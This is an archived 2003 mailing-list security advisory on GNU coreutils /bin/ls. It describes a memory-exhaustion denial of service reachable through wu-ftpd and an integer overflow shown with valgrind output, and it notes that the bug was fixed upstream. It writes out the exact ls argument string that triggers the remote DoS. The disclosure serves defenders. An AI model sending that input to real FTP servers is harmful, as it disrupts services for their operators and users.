[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Message-ID: <200310221522.SAA02455@home.ntrl.net>
From: guninski at guninski.com (Georgi Guninski)
Subject: Fun with /bin/ls, yet still ls better than windows
Georgi Guninski security advisory #62, 2003
Fun with /bin/ls, yet still ls better than windows
Systems affected:
coreutils - /bin/ls, wu-ftpd DoS
Fixed in CVS
Risk: Low
Date: 22 October 2003
Legal Notice:
This Advisory is Copyright (c) 2003 Georgi Guninski.
You may distribute it unmodified.
You may not modify it and distribute it or distribute parts
of it without the author's written permission - this especially applies to
so called "vulnerabilities databases" and securityfocus, microsoft, cert
and mitre.
If you want to link to this content use the URL:
http://www.guninski.com/binls.html
Anything in this document may change without notice.
Disclaimer:
The information in this advisory is believed to be true though
it may be false.
The opinions expressed in this advisory and program are my own and
not of any company. The usual standard disclaimer applies,
especially the fact that Georgi Guninski is not liable for any damages
caused by direct or indirect use of the information or functionality
provided by this advisory or program. Georgi Guninski bears no
responsibility for content or misuse of this advisory or program or
any derivatives thereof.
Description:
/bin/ls is used in wu-ftpd. There is remote denial of service involving
/bin/ls - the result is great memory consumption. In addition, there is an
integer overflow in /bin/ls, which seems non exploitable.
Details:
To check the DoS attack, in wu-ftpd try:
ls "-w 1000000 -C"
The integer overflow is demonstrated by this:
-------------------------------------
valgrind /bin/ls -w 1073741828 -C
==21243== Invalid write of size 4
==21243== at 0x804E498: (within /bin/ls)
==21243== by 0x804CC3C: (within /bin/ls)
==21243== by 0x804B721: (within /bin/ls)
==21243== by 0x8049F74: (within /bin/ls)
==21243== Address 0x41430CC8 is 8 bytes after a block of size 8 alloc'd
==21243== at 0x40160504: malloc (vg_clientfuncs.c:100)
==21243== by 0x80534D0: (within /bin/ls)
==21243== by 0x804E4FB: (within /bin/ls)
==21243== by 0x804CC3C: (within /bin/ls)
The heap is quite screwed, but ls is killed by the kernel due to memory usage.
------------------------------------
Vendor status:
coreutils developers were notified on Sun, 12 Oct 2003
It was fixed in CVS on the same day.
Fix in this thread:
http://mail.gnu.org/archive/html/bug-coreutils/2003-10/msg00070.html
Regards,
Georgi Guninski
http://www.guninski.com
Powered by blists - more mailing lists